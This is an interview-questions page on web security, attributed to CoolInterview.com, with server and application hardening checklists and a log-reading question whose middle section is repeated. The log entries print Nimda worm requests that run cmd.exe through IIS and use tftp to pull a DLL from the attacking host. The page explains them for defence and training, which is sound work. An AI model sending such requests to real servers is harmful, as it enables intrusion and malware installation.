INTERVIEW QUESTIONS WEB WEB SECURITY DETAILS

Question: What are the most important steps you would recommend for securing a new web server? Web application?

Answer: Goal of question Once again, there is no right or wrong answer, however we are interested in what the applicant views as important.

Web Server Security:
* Update/Patch the web server software
* Minimize the server functionality disable extra modules
* Delete default data/scripts
* Increase logging verboseness
* Update Permissions/Ownership of files

Web Application Security:
* Make sure Input Validation is enforced within the code - Security QA testing
* Configured to display generic error messages
* Implement a software security policy
* Remove or protect hidden files and directories



Advanced Level Questions

1. Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened? What would you do in response to this entry?

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/ cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/ cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 566 "-" "-"

Goal of question To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.

Goal of question Once again, there is no right or wrong answer, however we are interested in what the applicant views as important.

Web Server Security:
* Update/Patch the web server software
* Minimize the server functionality disable extra modules
* Delete default data/scripts
* Increase logging verboseness
* Update Permissions/Ownership of files

Web Application Security:
* Make sure Input Validation is enforced within the code - Security QA testing
* Configured to display generic error messages
* Implement a software security policy
* Remove or protect hidden files and directories



Advanced Level Questions

1. Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened? What would you do in response to this entry?

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/ cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/ cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 566 "-" "-"

Goal of question To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.
Source: CoolInterview.com

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